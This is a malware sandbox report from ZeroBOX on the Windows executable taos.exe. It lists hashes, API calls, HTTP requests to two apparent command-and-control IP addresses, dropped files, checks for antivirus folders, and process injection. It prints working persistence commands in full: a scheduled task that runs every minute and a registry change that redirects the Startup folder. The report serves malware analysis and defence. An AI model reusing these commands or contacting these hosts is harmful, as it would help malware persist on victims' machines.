Summary | ZeroBOX

taos.exe

Generic Malware Malicious Library AntiDebug PE File PE32 JPEG Format AntiVM
Category Machine Started Completed
FILE s1_win7_x6401 Sept. 5, 2021, 8:52 a.m. Sept. 5, 2021, 8:56 a.m.
Size 377.1KB
Type PE32 executable (GUI) Intel 80386, for MS Windows
MD5 1d11bcec0aff60ec16a81131e2a4d7c3
SHA256 63cfd63d995ec04f7c337708ff20ce4e2e118ab32e92395f1a815847bd2c01e2
CRC32 25FA3B65
ssdeep 6144:PfXs0/QQPDE+49V1NAW42dX7PkKssJB152+c858D6SKz8ynq+C:PfXsRQPDE+49V1NAWjX7kKs85cByzDi
Yara
  • PE_Header_Zero - PE File Signature
  • Generic_Malware_Zero - Generic Malware
  • IsPE32 - (no description)

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
138.197.134.11 Active Moloch
164.124.101.2 Active Moloch
185.215.113.20 Active Moloch

Time & API Arguments Status Return Repeated

GetComputerNameW

computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

WriteConsoleW

buffer: SUCCESS: The scheduled task "rgbux.exe" has successfully been created.
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: The operation completed successfully.
console_handle: 0x00000007
1 1 0
suspicious_features POST method with no referer header, POST method with no useragent header, Connection to IP address suspicious_request POST http://185.215.113.20/gb9fskvS/index.php
suspicious_features POST method with no referer header, POST method with no useragent header, Connection to IP address suspicious_request POST http://185.215.113.20/gb9fskvS/index.php?scr=1
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://138.197.134.11/santa.clo
request POST http://185.215.113.20/gb9fskvS/index.php
request POST http://185.215.113.20/gb9fskvS/index.php?scr=1
request GET http://138.197.134.11/santa.clo
request POST http://185.215.113.20/gb9fskvS/index.php
request POST http://185.215.113.20/gb9fskvS/index.php?scr=1
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

process_identifier: 2548
region_size: 2129920
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f60000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2548
region_size: 163840
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02140000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2548
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 229376
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00980000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2444
region_size: 1540096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b20000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2444
region_size: 163840
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00c70000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2444
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 229376
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x010b0000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2444
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72692000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2944
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 163840
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0029c000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2944
region_size: 253952
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x03950000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
description rgbux.exe tried to sleep 345 seconds, actually delayed analysis time by 345 seconds
file C:\Users\test22\AppData\Local\Temp\82b34ed5a0\rgbux.exe
file C:\Users\test22\AppData\Local\Temp\santa\santa.exe
Time & API Arguments Status Return Repeated

NtCreateFile

create_disposition: 2 (FILE_CREATE)
file_handle: 0x00000000
filepath: C:\Users\test22\AppData\Local\Temp\EWuOJIs\ysNejXur\sqE\3zQKfUo
desired_access: 0xc0100080 (FILE_READ_ATTRIBUTES|SYNCHRONIZE|GENERIC_WRITE)
file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN)
filepath_r: EWuOJIs\ysNejXur\sqE\3zQKfUo
create_options: 96 (FILE_NON_DIRECTORY_FILE|FILE_SYNCHRONOUS_IO_NONALERT)
status_info: 4294967295 ()
share_access: 1 (FILE_SHARE_READ)
3221225530 0

NtCreateFile

create_disposition: 2 (FILE_CREATE)
file_handle: 0x00000000
filepath: C:\Users\test22\AppData\Local\Temp\9n8\mDWLw
desired_access: 0xc0100080 (FILE_READ_ATTRIBUTES|SYNCHRONIZE|GENERIC_WRITE)
file_attributes: 4 (FILE_ATTRIBUTE_SYSTEM)
filepath_r: 9n8\mDWLw
create_options: 96 (FILE_NON_DIRECTORY_FILE|FILE_SYNCHRONOUS_IO_NONALERT)
status_info: 4294967295 ()
share_access: 8 ()
3221225485 0

NtCreateFile

create_disposition: 2 (FILE_CREATE)
file_handle: 0x00000000
filepath: C:\Users\test22\AppData\Local\Temp\EWuOJIs\ysNejXur\sqE\3zQKfUo
desired_access: 0xc0100080 (FILE_READ_ATTRIBUTES|SYNCHRONIZE|GENERIC_WRITE)
file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN)
filepath_r: EWuOJIs\ysNejXur\sqE\3zQKfUo
create_options: 96 (FILE_NON_DIRECTORY_FILE|FILE_SYNCHRONOUS_IO_NONALERT)
status_info: 4294967295 ()
share_access: 1 (FILE_SHARE_READ)
3221225530 0

NtCreateFile

create_disposition: 2 (FILE_CREATE)
file_handle: 0x00000000
filepath: C:\Users\test22\AppData\Local\Temp\9n8\mDWLw
desired_access: 0xc0100080 (FILE_READ_ATTRIBUTES|SYNCHRONIZE|GENERIC_WRITE)
file_attributes: 4 (FILE_ATTRIBUTE_SYSTEM)
filepath_r: 9n8\mDWLw
create_options: 96 (FILE_NON_DIRECTORY_FILE|FILE_SYNCHRONOUS_IO_NONALERT)
status_info: 4294967295 ()
share_access: 8 ()
3221225485 0
cmdline SCHTASKS /Create /SC MINUTE /MO 1 /TN rgbux.exe /TR "C:\Users\test22\AppData\Local\Temp\82b34ed5a0\rgbux.exe" /F
cmdline "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\test22\AppData\Local\Temp\82b34ed5a0\
cmdline "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rgbux.exe /TR "C:\Users\test22\AppData\Local\Temp\82b34ed5a0\rgbux.exe" /F
file C:\Users\test22\AppData\Local\Temp\82b34ed5a0\rgbux.exe
file C:\Users\test22\AppData\Local\Temp\santa\santa.exe
file C:\Users\test22\AppData\Local\Temp\santa\santa.exe
file C:\Users\test22\AppData\Local\Temp\82b34ed5a0\rgbux.exe
Time & API Arguments Status Return Repeated

ShellExecuteExW

show_type: 0
filepath_r: C:\Users\test22\AppData\Local\Temp\82b34ed5a0\rgbux.exe
parameters:
filepath: C:\Users\test22\AppData\Local\Temp\82b34ed5a0\rgbux.exe
1 1 0

ShellExecuteExW

show_type: 0
filepath_r: cmd
parameters: /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\test22\AppData\Local\Temp\82b34ed5a0\
filepath: cmd
1 1 0

ShellExecuteExW

show_type: 0
filepath_r: SCHTASKS
parameters: /Create /SC MINUTE /MO 1 /TN rgbux.exe /TR "C:\Users\test22\AppData\Local\Temp\82b34ed5a0\rgbux.exe" /F
filepath: SCHTASKS
1 1 0

ShellExecuteExW

show_type: 0
filepath_r: C:\Users\test22\AppData\Local\Temp\santa.\santa.exe
parameters:
filepath: C:\Users\test22\AppData\Local\Temp\santa\santa.exe
1 1 0
Time & API Arguments Status Return Repeated

InternetReadFile

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request_handle: 0x00cc000c
1 1 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
cmdline SCHTASKS /Create /SC MINUTE /MO 1 /TN rgbux.exe /TR "C:\Users\test22\AppData\Local\Temp\82b34ed5a0\rgbux.exe" /F
cmdline "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\test22\AppData\Local\Temp\82b34ed5a0\
cmdline REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\test22\AppData\Local\Temp\82b34ed5a0\
cmdline "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rgbux.exe /TR "C:\Users\test22\AppData\Local\Temp\82b34ed5a0\rgbux.exe" /F
cmdline cmd /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\test22\AppData\Local\Temp\82b34ed5a0\
host 138.197.134.11
host 185.215.113.20
file C:\ProgramData\AVAST Software
file C:\ProgramData\Avira
file C:\ProgramData\Kaspersky Lab
file C:\ProgramData\Panda Security
file C:\ProgramData\Bitdefender
file C:\ProgramData\AVG
file C:\ProgramData\Doctor Web
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\santa.exe reg_value C:\Users\test22\AppData\Local\Temp\santa.\santa.exe
cmdline SCHTASKS /Create /SC MINUTE /MO 1 /TN rgbux.exe /TR "C:\Users\test22\AppData\Local\Temp\82b34ed5a0\rgbux.exe" /F
cmdline "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rgbux.exe /TR "C:\Users\test22\AppData\Local\Temp\82b34ed5a0\rgbux.exe" /F
Process injection Process 2444 resumed a thread in remote process 2944
Time & API Arguments Status Return Repeated

NtResumeThread

thread_handle: 0x00000728
suspend_count: 1
process_identifier: 2944
1 0 0
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